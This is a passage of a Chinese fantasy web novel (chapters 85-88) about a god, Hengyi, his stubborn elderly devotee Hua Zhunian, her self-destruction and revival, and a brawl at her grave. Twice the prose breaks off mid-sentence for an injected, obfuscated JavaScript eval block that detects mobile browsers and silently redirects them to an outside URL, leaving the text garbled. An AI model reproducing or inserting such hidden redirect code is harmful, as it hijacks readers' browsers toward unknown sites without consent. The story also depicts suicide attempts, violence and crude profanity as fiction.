以后他再掺和两口子的事儿,他就是狗! 来回着折腾他,疼麻了。 衡羿踉踉跄跄地朝自己的小信徒走去。 他向她伸出手,心疼地劝说她:“听话,回来,我带你走。我们好不容易,才——” 没能说完的话,被她厉声打断。 “我不要你可怜!” 衡羿难得地向她解释:“不是。我没有可怜你。我是,真的,想带你走。我会,对你好,不让任何人欺负你。” 金身罗汉在一边儿听得直叹气。 虽说他是百世罗汉,对感情的事一窍不通。 可是,也不知道在叹息什么,就是觉得心里堵得难受。 正如他上面所说的那样,他不是感情方面的专家,只是一个金身罗汉。 85. 为什么我的上限和下限 “我爹曾经跟我讲过一条,从未被打破的规则,娘家决定女子的下限,夫家决定女子的上限。这条规则,对男子也同样适用。” “若要将这条规则,利用到极致的话,就需要在家时,完全依照父辈的相处规则来行事,因为接触的都是同环境的人。学着父辈的样子,他怎样与人周旋,我就如何与人周旋。无论对方是贵人还是小人,只要套现成的经验就好。日子也能过得顺遂。” “等去了夫家,就是不同的环境了。但也不必如何慌乱,只要看公爹如何行事,我就如何行事,这样便能永葆在那个圈子里的地位。至于缘由,跟在娘家是一样的。” “起初,我是不相信的。可后来,我开始观察周围的一些人,发现的确是如此。离你最亲最近的人,所给出的经验,往往在当时所处的环境下,是最行之有效的。因此,商户的女儿从小就会察言观色,官家的公子从小讲话就滴水不漏。” “可有时候,我也会想,为什么我的上限和下限,要交由别人来决定呢?模仿父辈的行为方式,那不是在活我自己的人生,只是父辈生命的延续而已。” 衡羿气急败坏地打断她:“够了!” 全然不见方才的温存。 神是不能被拒绝的,哪怕你暗戳戳地拒绝,也不行。 唉。 聪明人跟聪明人,很难生活到一处去。 从来不需要把话说得如何明白,只要从对方的只言片语中,就能了解到对方真正想表达的意思。 衡羿不是贺平安。 说个成千上万遍,他也只听自己的,根本不懂她在说什么。 可花祝年只要说一句,衡羿就已然了解她的意思。 况且,她说了还不只一句。 聪明人连拒绝,都是不着痕迹的。 如果听到这番话的人是贺平安,他想十辈子,也想不出她在说什么。 可能还会以为她想前夫哥了。不管她说什么,他都觉得她在想前夫哥。 反正一切责任都在前夫哥!他跟她过不好就怪前夫哥!贺平安的思维永远这样纯粹简单。 凡间的男人,如宋礼遇那般,被拒绝后尚且会恼羞成怒。 更何况是神呢? 神对凡人天生就是蔑视的。那种蔑视比人间的帝王,对凡间百姓还要严重。 帝王对百姓的蔑视,来源于自身的权力。 可是,神却源于万世的累积。 一个凡人的寿命,不过是须臾之间,对神而言,跟朝生夕死的小虫子一般。 自然看不到尘世的种种变迁。 不通因,不晓果。所以,刚强、固执。 他冷言说道:“你不依循父辈的规则,又得到了什么呢?自己人生的每一个阶段,都在逐级而降。你看看你过得是什么烂日子!你爹娘在下面都为你担心,只有你,自我感觉良好。世间万灵供人所吃,供人所享,为的是让你好好活着,不是为了让你死的!” 衡羿确实很生气。 他气了不是一两天了。当初,她还不如跟了宋礼遇,免得他这三十年如此煎熬。 花祝年是聪明人,所以,她从不会被他高高在上的施舍所打动。 他并不是有多喜欢她才说娶她。 恐怕,是为了良心能安。 他所有的出发点,刚刚已经跟她说得很明白了。 不要扰乱他的心。 他总是最重要的,她要牺牲自己的一切,包括嫁给他,来成全他。 可她生前,已经成全过一次了。 大概是对他没那么喜欢了,所以,如今他所讲的话,也不再能伤害到她。 她的心从来没有这样平静过。 “靠着模仿父辈的手段,就算权倾朝野,又怎么样呢?顶天了,也就那么大回事儿,不过是变着法儿地欺负人而已。家里生意做得再大,本质上也是老一套,从来是没有变过的。商为最末,要想做得下去,势必要攀附权贵。要讨好各位有权有势的老爷,吃老爷手缝儿里漏下的。要先把狼喂饱了,自己才能吃上几口。” 她仰起头,看着头顶上的阴间的云。 一团护着一团。 发觉和人间也没什么不同。 “小时候,家里虽然院落众多,可是抬起头,我看不见天。上面是一层又一层的网,掀开一层,还有一层,再掀开一层,还是有一层……” “看着爹娘的相处模式,我仿佛能一眼看到自己的未来。要么我会嫁与另一个商贾之家,做着跟爹娘一样的事,到处勾结需要勾结的人。要么我会嫁与官宦之家,做着跟公爹一样的事,成为利益输送的枢纽。除此之外,是再没别的出路了。” “可是,我为什么要这样呢?人应该有权利选择,不做自己不喜欢的事。而不是终日困在一方庭院里,不得自由。” 其实,日子还是两个糊涂人过比较好。 彼此都听不懂对方在说些什么,反倒没什么隔阂,也吵不起来架。 白天吃,晚上做,口腹之欲和情欲皆满足,日子也能乐呵呵地过下去。 其他的组合,效果都不太好。 像衡羿和花祝年这样的两个聪明人,就算前世的薛尘没死,可能到了后期也是为了各种各样的事情吵。 不是他变了,就是她变了。 但应该还是他变得比较多,花祝年在他死后的三十年,除了外貌变老了些,内核是没什么变化的。 衡羿被花祝年气得浑身发抖。 他都不知道她到底是哪来的小老太,怎么就这么会气人! 她竟然拿他跟宋礼遇比,把修道者所向往的仙界,跟凡间的一处处庭院做比。 那怎么能一样呢? 她还真是,不知道好歹。 虽然她并没有明说,可她话里话外,就是这样内涵的。 聪明人吵架,虽然不带脏字儿了,可是刀刀见血。 非要往人最在意的地方戳。 衡羿本不想跟宋礼遇共情,但他偏偏突然就懂他的感觉了。 她凭什么这么看不起人? 给她好的,她不要,自己往绝路上走。 他是带她去天上,又不是让她下地狱! 她有什么资格拒绝他? 别人多少世都未必修来的福气,她一个痴愚到家的女人,在跟他硬气什么东西? 衡羿现在就是一副气炸了的状态。 他反过来对她教训道:“你以为自己有多了不起么?你活了五十年,前二十年在爹妈的庇佑下长大,后三十年在贺平安的身边苟活,你自己过的什么鬼日子,你自己心里清楚!就不要再替自己挽尊了。” “你的坚持又给你带来了些什么呢?贺平安怎么可能会比宋礼遇好?魂飞魄散又怎么可能比跟我去天上好?你从来,都是选择最坏的那条路,你不是瞎了眼,就是没有眼光!” “你目光短浅到,只看得到百年之事。你也不过是一个凡人而已。你以为自己能翻了天吗?从古至今,打上天来的魔倒是不少,连魔都未曾做到的事,你又算什么东西?” “你觉得自己爹娘做错了吗?不,他们才没做错,如果不是有你这样的女儿,花家根本不会败落。换了任何一个女人,都知道要联姻以保家中通达。他们唯一的错,就是生了你这头自私的倔驴!你自私到只顾自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13723426|132764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己,让他们在地下难安,让我在天上饱受煎熬。我就不明白了,这天下间,人人都做得的事,怎么偏偏你就做不得?” 衡羿的确是发自内心之问。 当初,他轮转为女儿身时,也是卖过自己的。 卖了一个顶好的价钱。 那在当时来说,是她最好的出路,因此,他从来不觉得那有什么不好。 其实,在任何时候来说,人都应该选择对自己有利的路。 只有她在这里犟来犟去,犟得他心里烦躁。 他找不出任何一种套路来框住她。世间万物无不在他的掌控之下,偏偏一个痴愚的小老太横冲直撞,抓都抓不住她。 花祝年忽然间笑了一下,眼泪随之滑落。 爆出了一句绝杀。 真的,他在这里教训她半天,都没她这一句的杀伤力大。 “你别说话了。你一说话,就不像他。” 衡羿本来已经不哭了,结果突然就被她这一句话,给逼得眼泪直掉。 她彻彻底底地否定了他,将他跟那个死人分离开了! “我像他干嘛?你跟他,就是一对蠢蛋!蠢得要死!所以,一个受奸人所害,永世不得翻身,另一个把自己贱卖给一个家暴男,过了三十年不人不鬼的日子。我恨他,也恨你,我恨你们这对倔驴!” 他是真的恨。 就,其实,之前轮转的时候,也不是没受过比这更重的罪,若说生离死别也是常有的。 唯独这次这样难忘,他觉得全都怪这两个蠢货! 薛尘若是不死,她也不会嫁给别人。 两个人比着劲儿地犯蠢。 还犟。 金身罗汉小心地凑到衡羿身边说道:“那个,虽说,我不是感情方面的专家,但是吧,我觉得啊,我觉得,你要是挽回一个人,至少先不要吵架吧。这不知道的,还以为你俩是仇人呢,都快打起来了,干嘛这么互相伤害啊?” 他们的确在互相伤害。 有时候唇枪舌剑起来,倒也不比拳打脚踢温和。 “你只看得到一世,看不到万世。为什么不肯承认,自己目光短浅?人生本来就是利益互换,吃得苦中苦方为人上人。” “你爹娘都肯吃攀附人的这份苦,宋礼遇也吃得很有技巧,所以,人家一个家财万贯,一个是当朝权臣。跟着薛尘起义到底有什么好?为什么不能妥协一下?你已经错过两次机会了,就不能跟我去天上吗?” 其实,他训她半天,最终目的,也还是让她跟自己走。 至少,不要从此消失不见。那样一来,他不知道又要不安多久。 花祝年对衡羿招了招手。 衡羿以为她是要改变心意了,甚至还颇为高傲地走了过去。 结果被她猛地踹了一脚,他猝不及防地摔倒在地。 暴躁小老太叉着腰骂道:“你这个,绝世,大傻逼!都说了,让你不要说话,越说越傻逼。交换你八辈儿祖宗,你怎么不把你祖宗卖了交换一下?” 衡羿被踹之后,生气地爬起来跟她吵:“你就是不知好歹!” “那也跟你,没、有、关、系!我就是,不想活了。天地之间都别想再拥有我,我不可能再出现在任何地方的。” 衡羿的话,像压死稻草的一只巨大的骆驼。 让她觉得,仙界也不过如此。 天地之大,并没有她的去处。她也不想再去任何地方了。 去投胎,百年乱世等着她。去天上,要面对他这坨臭狗屎! 花祝年往他身上吐了口口水,毅然决然地向后倒去,瞬间被阳光切割成无数细碎的光隙。 86. 衡羿活了百千万年的血泪教训^^…… 怎么会不疼呢? 比凌迟处死还要疼上千百倍,感觉浑身上下都要被硬生生地分解开来。 她第一次感受到阳光的锋利与不可阻挡。 小老太从来不直面痛苦,所以她背对着阳光被切割。 这样的消亡方式,真是,好、安逸啊。 她试图想些什么,来抵御这种,经久不断的疼痛。 此时,她听不到任何声音,大概也不会有人喊她。 脑海里开始走马灯。 之前死的时候没走,现在彻底消亡了,居然会回忆过往。 不过,她的走马灯和别人的不一样。 别人是人生的全部,她反倒都是一些难堪的事。 有种将人逼迫到极点的压抑。 视角是窗纱上的一个小孔,小孔内站着两个女人。 一个是她娘,一个是宋礼遇的娘。 花祝年想起来了,那是她爹在给宋礼遇的爹赔礼道歉后,宋礼遇的娘又来家里奚落了一通。 “哎呀,我到现在,也没看见你家那千金小姐,也不知道如何高贵,怎么就这么看不上我家礼遇?” “花家只是仰仗些贵人,做点小生意罢了。说不上如何高贵,不过,也不是什么人能轻易贬损的。女儿不愿意见,我们也没有办法。总不能为了您老的面子,把我家姑娘给逼死。” 宋礼遇的娘眼中露出鄙夷之色:“既然知道仰仗贵人,哪有不见贵人的?我家老爷是你花家的贵人,公子自然也是你家小姐的贵人。” 花夫人冷笑一声:“宋大人是贵人不假,可花家几代基业积攒下来,也不只仰仗了宋家一位贵人。谁还没个关系脉络了?北边儿干不下去,大不了举家搬迁,去南边儿。有本事的人,到哪儿不吃碗饭?” “好,我等着你举家搬迁。” “且慢。宋夫人,我说的是,干不下去了,才举家搬迁。可真要到了鱼死网破的地步,花家能东山再起,你宋家就未必了。毕竟,砍下来的脑袋,不能再安上去不是?” “你……” 宋礼遇的娘是当年镇子上有名的美人儿。 生起气来,也很美。 “依存关系,就是依存关系。捧你是贵人,是看你过去的那点儿功劳。没功没劳的,算哪门子的贵人?这年头,谁手上没谁的把柄呢?不要为了孩子们的小事,把大人给毁了。省得到时候,让外人看了笑话!” 花夫人是个很霸气的人。 生意场上手段狠戾的当家主母,自然和官家仰人鼻息的闲散美妾不一样。 商贾之家是卑贱,平日里打交道的也多为三教九流,可正因如此,才练出一副坚韧心性来。 要她说,宋夫人这遭就不该来! 昨晚上自己男人,已经宴请安抚过宋大人了,面子给了,里子也给了。 再要东要西的,就是找别扭了!她这还憋了一肚子火没处撒呢! 女儿因为跟宋家公子相亲,被逼得失去了半条命。 哪儿能为了补宋家的面子,再去见他呢? 见过欺负人的,没见过这么欺负人的!欺负欺负,差不多就得了,一次不还手,两次不还手,还来花府找说法,真当花家这么大基业是温良恭俭让出来的啊? 花祝年看着小孔里两个美貌的妇人在吵架,忽地笑了一下。 是啊,娘一直都是站在她这边的。 其实,衡羿的话,多多少少,是有影响到她的,让她在形神消散的时刻,都对家人感到很愧疚。 可那天之后,娘亲跟她说,别说她自己不愿意嫁,就看宋礼遇他娘那副得理不饶人的样子,她也不会让她嫁过去的。 那深宅大院的,过去了,不是活受罪么? 花祝年一边忍受着强光的切割,一边不忿道:“当初,不该上吊的,我该直接把宋礼遇给杀了。唉,真是,伤害自己做什么呢?” 她的性子从年轻的时候,就极为刚强,难以调伏。 宁死也不去见宋礼遇。 因为,她知道,只要一见,后续就做不得主了。 两家受利益的驱使,肯定会一直把他们往一起推。 花祝年见过自己爹爹赚钱赚得眼睛发光的样子。 六亲不认。 好险,差点就嫁宋礼遇了。 哪怕是后来经受了这三十年的苦楚,花家在乱世败落得彻底,她也是不后悔的。 那样的宅院,进去容易,出来就难了。 她没错。 至于嫁贺平安,她也没有后悔过。 所有的路,都是她自己选择的,每一个时刻,她都做了正确的抉择。 才不是,才不是像衡羿说的那样,选了错误的那个。 还说她逐级而降…… 他懂什么呢?他什么都不懂! 她只是从庭院里,去了更广阔的地方。 种地的时候,天是她的,地是她的,风雨雷电,田间万谷是她的。 粮食被官府把控,以低贱的价格收取,虽然赚不了几个钱,可她赚到的钱,几乎全都用来买供奉他的香烛了。 她就是这样一个铜钱一个铜钱地,将他送上了神位。 每一分虔诚,都是她的血汗。 她送他封神后,他反过来指责她,不如跟宋礼遇…… 大概真的是人心易变吧,花祝年总觉得,如果是薛尘没死的时候,一定也会和她一样,痛恨宋礼遇这样的人。 可惜,他是真的死了。 看来那场酷刑,给他留下的阴影,真的很大。 扯断的又岂止是他的肢体呢?脊梁恐怕都被敲碎了。 她没办法再回去骂他一顿了。 也不想,再见他。 一股空前的幻灭感,铺天盖地地笼罩住她。 她恨这个世界。 恨这种世世代代,从生到死都被安排好的压抑前程! 恨拒绝贵人是错,要用千百倍的代价,去偿还这种对贵人的蔑视。 恨她空有反抗的决心,却实力微弱,只能潦草一生。 恨自己,永远,不得自由。 她到底为什么要嫁给宋礼遇那种人? 她最恨的就是宋礼遇。 还是杀少了! 他以为,他依循父辈行事,她也就要如此。 不,她绝不。 不过,薛尘说得没错,她的确,是一个很失败的人。 宋礼遇可以带着家族翻身,她却连葬男人的钱都付不起,要贱卖自己。 可即便如此,她也是不后悔的。 薛尘现在是神仙了,一副知晓古今,反过来看不起她的样子。 没关系。 她也看不起他! 大家就互相看不起吧,这怎么不算是一种礼尚往来呢? 她在消亡时刻,忍受着无数强光的切割,都是如此地硬气。 虽然没用,但她觉得爽。 有种天王老子,也不过如此的感觉,真是没有劲儿。 天道来了,也得被她抽两巴掌,再回天上老实趴着。 人只要妥协一次,之后就会次次妥协。 可如果从生到死都不曾妥协的话,那世界就无法改变人分毫。 把人抛去山巅,踩进深渊,碾过刀山,扔去火海…… 到头来,又怎么样呢?也就这点烂招数了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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阴间不过尔尔,阳间已经在办花祝年的头七了。 贺平安妥妥地跪在坟前哭了七天。 谁拉他起来,他拿刀砍谁。 弄得都没人敢劝。 花祝年因为生前被推为首领,虽然是个顶锅的首领,但仪式感还是要有的。 她的头七办得极为热闹。 士兵们从早上一直喝到晚上,风和畅一直在拿她的死,激励活下来的人。 半夜大家还在喝。 席上是士兵们慷慨激昂的展望,不远处花祝年的坟前,是贺平安哭如牛吼的声音。 他一个人就顶得过所有人。 衡羿被带出来后,又多了一个哭坟的。 贺平安现在已经无暇顾及任何人了。如果换了平时,他肯定又是一顿揍。 可现在,他只想陪她。 伤心至极之时,贺平安突然把自己那把砍刀架到了脖子上。 “婆娘,头七,我给你办好了。我风风光光地娶你,风风光光地葬你,现在,我来陪你了!” 他是要殉情的。 因为,不知道该如何活下去。 贺平安的动作极为迅猛,不过再迅猛也比不过势不可挡的天雷。 他的刀还没把脖子抹断,花祝年栽满鲜花的坟,就被天雷劈得轰然炸开。 溅了他一身的坟头土,一朵小花落在他的怀间。 87. 这,这不就是 她坟上开的花,都是他亲手移栽上去的。 现种来不及。 他挑的都是最漂亮的,开得最好的。 现在,却被雷劈散了。 天杀的,这个破雷,连她的棺木都劈开了。 贺平安拿着刀站起来,指着天怒吼:“我艹你妈的老天爷!” 话音刚落,宋礼遇带了一列精锐骑兵赶来。 精锐在前面开了一条宽阔平坦的大路,宋礼遇骑着快马赶来。 看见花祝年被劈坏的坟后,悲从中来,竟直接摔下了马。 他的手下连忙把他扶了起来,一直扶到花祝年的坟前。 宋礼遇掀开坏掉的棺材板,扑进去嚎啕大哭。 贺平安想拿刀活劈了他,却很快被风和畅的人给控制住了。 风和畅是个心机极重的人。 他当然知道来的人是谁,也知道对方能给自己带来什么。 相较之下,贺平安的作用,实在是太过微不足道。 宋礼遇放肆地哭坟。 “夫人,我不该放你回来的!你要是不救那些个莽夫,也不会受到这种折磨。” “那个莽夫有什么好?他耽误了你一辈子啊!” “连棺木都舍不得给你用好的。” 贺平安在一旁大骂道:“宋礼遇,放你娘的屁!那是镇子上最好的棺木!是柏树的!” 宋礼遇哭道:“柏树算什么好?我给她用金镶玉的!” “你有什么资格葬她?老子跟她过了三十年,老子才是他男人!” 宋礼遇拍着棺木发怒:“我也未尝不是!就是斩你那天,我跟她成的亲。” “你个鳖孙!老子他妈的活劈了你。” 说着挣扎得更猛烈了些。 风和畅又加了十个人,才勉强将他按压在地上。 贺平安被摁在地上,边说边往外喷土:“风和畅,你个狗娘养的,这时候你不帮老子,你等着老子给你卖命!” 风和畅是个很会安抚他人情绪的人。 “贺大哥,现在不是闹事的时候,既然有首领的故人来,何不让对方祭拜一下呢?” “祭拜你八辈儿祖宗!他那是祭拜来的吗?他是来抢尸体的!” 宋礼遇说着已经将花祝年,从棺椁里抱了起来:“对,我就是要回去安葬夫人。等我死后,我还要跟她合葬。她活着已经跟了你三十年了,死后的时间是我的!” 兵革仙凑到衡羿面前,将他从地上拉将起来,无奈地调侃他道:“你看看你,下来三个月,啥也没争上,连个哭坟的名分都没有。” 是这样的。 他只是趴在坟前哭,却不敢说任何话。 他没办法当众承认,她是他的小妻子,也是他的小信徒。 衡羿虽然活了百千万年,却远远没有当初那个小姑娘勇敢。 她既敢拎个筐捡他的碎肢,又敢当众跟他的碎肢成亲,还以他的妻子自居。 那时候,是有多喜欢啊。 可是,他却只能在这里哭。 就连口口声声说自己下来给她收尸,也没能完成。 她是贺平安葬的,碑也是贺平安立的,他才是她名正言顺的丈夫。 贺平安看着自己婆娘被人抱了起来,体内突然爆发出一股极为猛烈的冲力。 他冲过去的瞬间,摁住他的士兵,感觉自己的手好像被那股力量刮掉了一层皮。 掌心一片血红。 宋礼遇被贺平安撞倒,虽然垫在花祝年身下,可花祝年也摔得不轻。 贺平安上手抢自己的婆娘。 宋礼遇虽然不是武官,可也强硬着不肯撒手。 他带来的人也跟着一起抢,风和畅的人也上来拉偏架。 花祝年忽地出声道:“哎哟我艹,你们抢你妈呢!摔死老子了。” 宋礼遇吓得嗖地一下松开了手,衡羿忽然止住了哭声。 贺平安将花祝年紧抱在怀里,以为自己出了幻觉:“婆娘,再骂一句!” 花祝年上去抽了他一巴掌。 “骂骂骂,骂你妈个头,缺挨扇的货。老子从来不骂人的。” 他忽地埋头在她颈间痛哭:“老子以为你死了,本来都要去陪你了。” 她嫌弃地推开他。 “哭哭哭,老子怎么光摊上爱哭的货了?烦死了,别哭了。” 宋礼遇这时候,也反应过来,原来真的有死而复生的人。 他来之前,是不抱任何希望的。 她死后的三天,他才收到消息,之后又快马加鞭地赶了过来。 这人都埋了,也没想到能复活。 兵革仙震惊地看了看衡羿:“这,谁给她续的命?” 她第一反应是他,可是又觉得不应该。 因为太明目张胆了。 衡羿正欲上前查看,天道老登忽然降下一道口谕。 “衡羿仙君,自此剥去神籍,留待人间,辅佐社稷主,平乱、治世。” 兵革仙的眼睛忽然亮了一下,这,这不就是,在给他们再续前缘? 可是衡羿在任何时刻,都是很理智的,极少让情感占据上风。 他对天道问道:“我什么时候能回归神位?” 兵革仙嫌弃地看了衡羿一眼,忽然觉得这个人好分裂。 暗戳戳想弄死贺平安的人是他,现在给他机会了,他又在意自己什么时候回天上。 天道没有回答。 衡羿又问道:“今后是一百二十年的乱世,这还只是能看到的,不能看到的,还不知道要乱多久。如果她一直没办法平定天下,我要一直陪她耗着吗?” 修道者本来就是要逃脱轮回,脱离尘世的。 之前那些轮回,是为了修补天道的规则,无论轮回多少次,总有个时间限制。 或者说,有个盼头。 可是,此番若是把这样重的天命交给她,他来辅佐的话,那她一直完不成,他岂不是要一直待在凡间了? 神没有七情六欲,更没有功利算计,因此,对痴愚的凡人总是很鄙夷的。 说得难听一些,但凡是一心成仙的修道者,都是不怎么看得起人间的帝王的。 尘世对神仙来说,就是一个巨大的粪坑。 众生像粪坑里的蛆虫。 有权有势的是大蛆虫,无权无势的是小蛆虫,大蛆虫跟小蛆虫抢有限的粪吃。 人间的帝王不过是在一群蛆虫之间,建立一个比较良好的秩序而已。 可到头来,也不过是在分大粪。 又有什么好留恋的呢? 社稷主,天下王,干着最脏最累的活,挨着最多的骂,最后也不过变成一抔粪土。 他之前斥责自己的小信徒,让他良心难安了三十年,是气她看不清自己的位置! 明明是一只活在粪坑中的蛆,却妄想以神的境界来生活,结果在粪坑里把自己饿得干瘦粗糙。 既然已经生活在粪坑里,大口吃不就行了? 他轮回转世的时候,也是那样肮脏地活着的。 当蛆就好,何必为人? 他总是很务实,也很现实。 所以,此刻才会问天道,自己要在这个粪坑中待多久? 其实,更深层次的原因,是他觉得这群蛆虫,根本不值得被拯救。 没有什么用处的。 就算有社稷主出现,也并不会改变蛆的本性。 粪就是粪,决然变不成别的东西。 不只是他,但凡羽化登仙的神,对人间都是这样的认知。 不然何必要寻仙访道呢? 直接一头栽进名利场 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天道顾左右而言他道:“这是她在人间的最后一世,三魂七魄已经被销毁,死后是无法再投胎转世的。你跟她相处一天,就少一天。” 衡羿漠然道:“我知道。所以,我问你,她还有多少时间可活?你给她续了多久的命?我要在人间待多久?” 天道咳了两声:“我没有给她续命,她现在活着,完全是天命加身所致。如果她这社稷主当得不好,那可能明天就会死。当然,也可能像你当年那样,被天下的术士作法阵,强行夺走她的天命,那样也很快会死。所以,至于她到底能活多长时间,还是要看她自己。可能朝夕之间,也可能千秋万年。” 衡羿忽地冷笑道:“她现在,只是一个很小的起义队伍的小首领。依照你这么说,如果这支队伍散了,她就会死,是不是?” 天道理不直气不壮地回应:“可以这么说。社稷主本来就是个名号而已。天命是天命,可最终还是要靠她自己。没有人能依存天命行事,最后能依存的只有自己。她有本事,自然不会辜负天命。没本事,就跟你当年一样。不过,唯一不同的是,你死了可以回天上继续当执掌三界的神君,她,就再也不存在了。主要是,她的执念也散了,可能那时候,她自己也不想存在了吧。” “她的执念是什么?” “恨。纯恨。我花了三十年,每个人试炼的机会是均等的,可是他们的恨都不够纯粹。恨着恨着,就被别的东西给弥补了。这样容易哄好的人,势必也很容易妥协,我没办法指望好脾气的人,来让天地倒转。” 衡羿突然觉得自己的小信徒,被利用得很彻底。 他替她问道:“你既然又要用她,为什么不能让她死后封神呢?” 天道粲然一笑:“天上容不下这么暴躁的人。她万一哪天不高兴,抻下我来,给我俩大逼兜怎么办?虽然我无形无状,不可触摸,不过也难说不会被她找到。我也怕啊。” “一身反骨的小老太,就把她摁在人间好了,哪能真的让她上天?那岂不是,大家的日子,都过不安生?况且,其实她的反骨,是没什么用的。不可能彻底地改变世间。凡人永远不长记性,这次被拯救,下次照样会自己搞乱自己。” “倘若放她轮回转世,那凡人就总会以为自己会被拯救,永远有人给他们兜底。这样的小老太,古今有一个就够了。凡间配不上她,仙界容不下她,她的位置就是如此尴尬。” 衡羿这边在跟天道周旋的时候,风和畅那边已经在带着众人叩拜了。 他本就欲造神,没想到来了个死而复生的真神! 那可不得好好利用。 全然不在乎,这样是否是在消耗她的天命。 88. 就到此为止吧 金身罗汉看着站在一众提线木偶间的风和畅,不免对衡羿提醒道:“你小妻子的日子,以后怕是难过了。” 衡羿都气笑了:“就她那破日子,什么时候好过过?” 金身罗汉摇了摇头:“以前还只是劳力,现在要劳心了。衡羿仙君,你自从被魔君上衡重新拼起来后,神力就一直没恢复过,所以看不出这里面的道道也正常。” “能有什么道道?” “唉,要说起来,还是怪你,因果不虚。” 衡羿本来待在粪坑就烦,现在听他在这里怪自己,就更烦了。 “你要是没事儿了,就回去把你那破庙修一修,省得连个道场都没有,四处游荡。” 金身罗汉嘿嘿一笑:“游荡有游荡的好啊,不游荡怎么知晓人间呢?” 衡羿冷笑道:“那我现在就跟天道请旨,辅佐小老太的担子给你挑。反正你喜欢这里,也不介意游荡。” 金身罗汉推脱道:“那倒也不必。我是带着法力游荡的,真要是跟你一样,那谁受得了?若是没记忆还行,偏偏又有着百千万年的记忆,见识过广阔天地的人,在笼子里待一天都想死。” 衡羿这次留待世间,跟过往的那些轮回都不同。 有时候,上天剥夺人的记忆,不得不说是一种恩赐。 看不清自己的环境,不知晓世间的运转,盲愚地活一辈子,也是很快乐的。 偏偏这次,他有记忆。 记忆代表着内心的秩序,当与所处的环境不符时,每一天都如坐针毡。 一个脱离轮回的神,在粪坑里是找不到任何归属感的。 他也终将理解她的心境。 哪怕,她并不是神,只是一个市侩暴躁的小老太。 对于高位者来说,她的愤怒显得很可笑。 是从不被人当回事儿的。 青壮男子的愤怒,可以让巍峨高山为之倾倒,有共工怒触不周山的震撼。 妙龄女子的愤怒,就算弯弯绕绕,也能兵不血刃,引得世间男子冲冠一怒为红颜。 就连一个一人吃饱,全家不饿的老光棍儿的愤怒,都能让村子里的人为之心颤。 唯独一个小老太的愤怒,实在是太微不足道了,甚至引得人连连发笑。 她首先没有任何价值,其次没有任何价值,最后没有任何价值。 没有强健的体魄,没有漂亮的容颜,没有让人忌惮的一切条件。 她连抽人巴掌的姿势,都是跳起来打的。 也不是因为自己个子不高,只是因为对方个子太高。 对于力量太微弱的人来讲,就连跳脚,都是件极滑稽的事。 她是那样理所应当地被忽视着。 被忽视所有的情绪,成为家庭的消耗品。 这样活着也可以的,没什么不可以,像她这个年纪的人,都是如此活过来的。 可是,也可以不这样活。 一个纯恨世间的小老太,她的愤怒也应该被看得到。 她和那些人一样,有着不容被忽视的灵魂。 一样的磅礴,势不可挡。 她至死都与世间格格不入。 衡羿内心的秩序,是长此以往的积累,她的秩序,却是在乱世中浸染经年,一点点打磨出来的。 不可动摇,不会改变。 他是欣赏她的。 怎么会不欣赏呢? 她拿刀砍人却扭了老腰的怪异姿势,美过这世间一切腰肢柔软的舞蹈。 她骂人的话也很好听,再糙的男人听了都脸红,专往对方的下三路攻。 她心中的万千丘壑,连名山大川都会自惭形秽。 可是,就算如此,又怎么样呢? 她,也只有这一世了。 像流星划过夜空一样,没了就是没了。 再也不会出现。 喜欢归喜欢,欣赏归欣赏,衡羿是绝不会爱上这样的人的。 因为得不到。 他不可能用今后漫长而荒芜的神仙生涯,来去怀念一个璀璨的小老太。 那对他来说,太残忍了。 她是很好,可并不值得他,以自损心神的方式,去惦记。 他才不会为她变得痴愚迷妄,那是跟他从没有什么关系的情感。 对于注定要失去,且不会得见,就连音声都难以寻求的人,他选择放弃。 连一点羁绊都不会产生。 否则,她倒是轻轻松松地消失了,让他今后的日子怎么过? 衡羿才不要变得跟贺平安一样。 刚刚他已经感受过那种,永远失去她的绝望了。 就到此为止吧。 他不会再往她身上倾注任何情感。 注定要死得彻底的人,不配得到神的垂怜。 就连多看她一眼,都是多余。 衡羿暗自别扭地转过了身,主动切断了跟她的所有联系。 她连他的目光,都不配拥有。 不过是一个将死的、固执的小老太而已。 她跟夜空中划过的随意一颗流星,都没有任何区别。 每天有无数的星星陨落,这并不值得神难过。 他永远,都不会为她难过,也不能为她难过。 衡羿正自持冷静的时候,忽地听金身罗汉说道:“要么说你现在没个屁用,啥也看不出来,你们两口子目前真是地狱开局。” “你到底想说什么?” “唉,那个风和畅,看起来二十出头的样子,行事却极为老派。你没发现,这里所有人的脑子,都被他指挥着吗?你就没想过为什么?” 衡羿一直把风和畅当成小角色。 就连人间的帝王都是小角色,一个搅弄人心的小军师而已,又能不简单到哪里去呢? 他从未放在眼里过。 金身罗汉解释道:“那个人,是十世王侯,十世将相,如今是他的二十一世。” “怎么会这样?” “我不是说,根源在你这里么?你从来都不管三界的事,天天无为而治的,怎么会不乱套呢?” 衡羿解释道:“我无为是信任三界的万灵。如果有哪一方做得太过分,自然会有另一方反抗,何须我去做些什么呢?” 他是允许起义的,自然也允许欺压。 所以,衡羿才会对小信徒说,是人间自己把自己搞成这个样子的。 天什么都没做,道也什么都没做。 不会偏帮任何一方。 让人间自然孕育阴阳,好坏,高低…… 没有哪一方是可以独立存在的。 衡羿轮回转世的时候,自然也是做过利欲熏心之人的。 所以,也能理解对方的贪欲。 道从未干涉过,他也不应该干涉,这应该由人自己来干涉。 如果没人干涉,说明人也默许。 那既然连人都默许的事,又何须他去做出刑罚呢? 有朱门酒肉臭,路有冻死骨,就有内库烧为锦绣灰,天街踏尽公卿骨。 这是人间自己的选择。 他允许一切地发生。 人间是这样,阴间也是如此。 倘若有人能更改原本的命 